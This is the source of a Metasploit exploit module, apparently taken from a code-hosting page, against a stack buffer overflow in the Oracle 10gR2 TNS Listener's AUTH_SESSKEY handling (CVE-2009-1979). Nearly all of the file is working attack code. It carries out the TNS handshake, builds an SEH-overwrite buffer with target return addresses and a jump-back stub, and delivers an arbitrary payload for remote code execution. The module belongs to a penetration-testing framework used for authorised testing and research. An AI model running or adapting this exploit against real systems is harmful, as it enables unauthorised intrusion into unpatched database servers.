Path: blob/master/modules/exploits/windows/oracle/tns_auth_sesskey.rb
19513 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::TNS9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in Oracle. When18sending a specially crafted packet containing a long AUTH_SESSKEY value19to the TNS service, an attacker may be able to execute arbitrary code.20},21'Author' => [ 'jduck' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2009-1979'],25[ 'OSVDB', '59110'],26[ 'BID', '36747'],27[ 'URL', 'http://blogs.conus.info/node/28' ],28[ 'URL', 'http://blogs.conus.info/node/35' ],29[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2009.html' ],30],31'Privileged' => true,32'DefaultOptions' => {33'EXITFUNC' => 'seh',34},35'Payload' => {36'Space' => 0x17e,37'BadChars' => "", # none, thx memcpy!38'StackAdjustment' => -3500,39},40'Platform' => 'win',41'Targets' => [42[ 'Automatic', {} ],4344[45'Oracle 10.2.0.1.0 Enterprise Edition',46{47# Untested48'Ret' => 0x011b0528 # p/p/r in oracle.exe v10.2.0.349}50],51[52'Oracle 10.2.0.4.0 Enterprise Edition',53{54# Tested OK - 2010-Jan-20 - jduck55'Ret' => 0x01347468 # p/p/r in oracle.exe v10.2.0.356}57]58],59'DefaultTarget' => 0,60'DisclosureDate' => '2009-10-20',61'Notes' => {62'Reliability' => UNKNOWN_RELIABILITY,63'Stability' => UNKNOWN_STABILITY,64'SideEffects' => UNKNOWN_SIDE_EFFECTS65}66)67)6869register_options(70[71OptString.new('SID', [ true, 'The target database SID', 'ORCL']),72Opt::RPORT(1521)73]74)75end7677def check78version = tns_version79if (not version)80vprint_error("Unable to detect the Oracle version!")81return Exploit::CheckCode::Unknown82end83vprint_status("Oracle version reply: " + version)84return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)85return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)8687return Exploit::CheckCode::Safe88end8990def exploit91mytarget = nil92if target.name =~ /Automatic/93print_status("Attempting automatic target detection...")9495version = tns_version96if (not version)97fail_with(Failure::NoTarget, "Unable to detect the Oracle version!")98end99100if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)101mytarget = targets[1]102elsif (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)103mytarget = targets[2]104end105106if (not mytarget)107fail_with(Failure::NoTarget, "Unable to automatically detect the target")108end109110print_status("Automatically detected target \"#{mytarget.name}\"")111else112mytarget = target113114print_status("Attacking using target \"#{mytarget.name}\"")115end116117username = rand_text_alphanumeric(0x1c)118119connect120121print_status("Sending NSPTCN packet ...")122connect_data = "" +123"(DESCRIPTION=" +124"(CONNECT_DATA=" +125"(SERVICE_NAME=#{datastore['SID']})" +126"(CID=" +127"(PROGRAM=client.exe)" +128"(HOST=client_host)" +129")" +130")" +131"(ADDRESS=" +132"(PROTOCOL=TCP)" +133"(PORT=1521)" +134")" +135")"136nsptcn_pkt = tns_packet(connect_data)137sock.put(nsptcn_pkt)138139# read NSPTRS (expecting 8 bytes)140res = sock.get_once(-1, 1)141# print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))142143print_status("Re-sending NSPTCN packet ...")144sock.put(nsptcn_pkt)145146# read NSPTAC (expecting 32 bytes)147begin148res = sock.get_once(-1, 1)149rescue ::Errno::ECONNRESET, EOFError150fail_with(Failure::Unknown, "OOPS, maybe the service hasn't started completely yet, try again...")151end152# print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))153154# send NA155print_status("Sending NA packet ...")156na_stuff = [0xdeadbeef].pack('N') +157"\x00\x92" +158"\x0B\x10\x06\x00\x00\x04\x00\x00\x04\x00\x03\x00\x00\x00\x00\x00" +159"\x04\x00\x05\x0B\x10\x06\x00\x00\x08\x00\x01\x00\x00\x0A\xF8\x71" +160"\xC2\x6C\xE1\x00\x12\x00\x01\xDE\xAD\xBE\xEF\x00\x03\x00\x00\x00" +161"\x04\x00\x04\x00\x01\x00\x01\x00\x02\x00\x01\x00\x03\x00\x00\x00" +162"\x00\x00\x04\x00\x05\x0B\x10\x06\x00\x00\x02\x00\x03\xE0\xE1\x00" +163"\x02\x00\x06\xFC\xFF\x00\x02\x00\x02\x00\x00\x00\x00\x00\x04\x00" +164"\x05\x0B\x10\x06\x00\x00\x0C\x00\x01\x00\x11\x06\x10\x0C\x0F\x0A" +165"\x0B\x08\x02\x01\x03\x00\x03\x00\x02\x00\x00\x00\x00\x00\x04\x00" +166"\x05\x0B\x10\x06\x00\x00\x03\x00\x01\x00\x03\x01"167na_pkt = nsptda_packet(na_stuff)168sock.put(na_pkt)169170# read response (expecting 127 bytes)171res = sock.get_once(-1, 1)172# print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))173174# send TTIPRO175print_status("Sending TTIPRO packet ...")176ttipro_stuff = "\x01\x06\x05\x04\x03\x02\x01\x00" +177"IBMPC/WIN_NT-8.1.0" +178"\x00"179ttipro_pkt = nsptda_packet(ttipro_stuff)180sock.put(ttipro_pkt)181182# read response (expecting 179 bytes)183res = sock.get_once(-1, 1)184# print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))185186# send TTIDTY187print_status("Sending TTIDTY packet ...")188ttidty_stuff = "\x02\xB2\x00\xB2\x00\xD2" +189"\x25\x06\x01\x01\x01\x0D\x01\x01\x05\x01\x01\x01\x01\x01\x01\x01" +190"\x7F\xFF\x03\x09\x03\x03\x01\x00\x7F\x01\x1F\xFF\x01\x03\x01\x01" +191"\x3F\x01\x01\x05\x00\x01\x07\x02\x01\x00\x00\x18\x00\x01\x80\x00" +192"\x00\x00\x3C\x3C\x3C\x80\x00\x00\x00\xD0\x07"193ttidty_pkt = nsptda_packet(ttidty_stuff)194sock.put(ttidty_pkt)195196# read response (expecting 22 bytes)197res = sock.get_once(-1, 1)198# print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))199200# send first auth pkt (call OSESSKEY)201print_status("Calling OSESSKEY ...")202params = []203dtyauth_pkt = dtyauth_packet(0x76, username, 1, params)204sock.put(dtyauth_pkt)205206# read RPA (expecting 225 bytes)207res = sock.get_once(-1, 1)208# print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))209210# build exploit buffer211print_status("Calling kpoauth with long AUTH_SESSKEY ...")212sploit = payload.encoded213sploit << rand_text_alphanumeric(0x19a - 0x17e)214sploit << generate_seh_record(mytarget.ret)215distance = payload_space + 8 + 5216sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string217218# ensure bad ptr is derefed219value = rand(0x3fffffff) | 0xc0000000220sploit[0x17e, 4] = [value].pack('V')221222# send overflow trigger packet (call kpoauth)223params = []224params << {225'Name' => 'AUTH_SESSKEY',226'Value' => sploit,227'Flag' => 1228}229dtyauth_pkt = dtyauth_packet(0x73, username, 0x121, params)230sock.put(dtyauth_pkt)231232# expecting disconnect...233if (res = sock.get_once(-1, 1))234print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))235fail_with(Failure::NoTarget, "Try to run the exploit again.. If that doesn't work, the target host may be patched :-/")236end237238handler239disconnect240end241242def tns_version243connect244version = "(CONNECT_DATA=(COMMAND=VERSION))"245pkt = tns_packet(version)246sock.put(pkt)247sock.get_once248res = sock.get_once(-1, 1)249disconnect250return res251rescue EOFError252return nil253end254255def nsptda_packet(data)256pkt = [data.length + 10].pack('n') # NSPHDLEN257pkt << [0].pack('n') # NSPHDPSM258pkt << [6].pack('C') # pkt type259pkt << [0].pack('C') # reserved260pkt << [0].pack('n') # NSPHDHSM261pkt << [0].pack('n') # NSPDAFLG262pkt << data263return pkt264end265266def dtyauth_packet(opi, user, flag, params)267dunno = 2268dunno = 3 if opi == 0x73269270pkt = [3, opi, dunno].pack('CCC')271272pkt << [-2].pack('V')273pkt << [user.length].pack('V')274pkt << [flag].pack('V')275276pkt << [-2].pack('V')277pkt << [params.length].pack('V')278pkt << [-2].pack('V')279pkt << [-2].pack('V')280281pkt << [user.length].pack('C')282pkt << user283284params.each { |param|285name = param['Name']286pkt << [name.length].pack('V')287pkt << [name.length].pack('C')288pkt << name289290val = param['Value']291pkt << [val.length].pack('V')292if (val.length > 0)293if (val.length > 0xff)294pkt << chunkify(val)295else296pkt << [val.length].pack('C')297pkt << val298end299end300301flag = param['Flag']302pkt << [flag].pack('V')303}304return nsptda_packet(pkt)305end306307def chunkify(buf)308ret = ""309if buf.length > 0xff310ret << "\xfe"311312while (buf.length > 0xff)313ret << "\xff"314ret << buf.slice!(0, 0xff)315end316if buf.length > 0317ret << [buf.length].pack('C')318ret << buf319end320321ret << "\x00"322else323ret << [buf.length].pack('C')324ret << buf325end326return ret327end328end329330331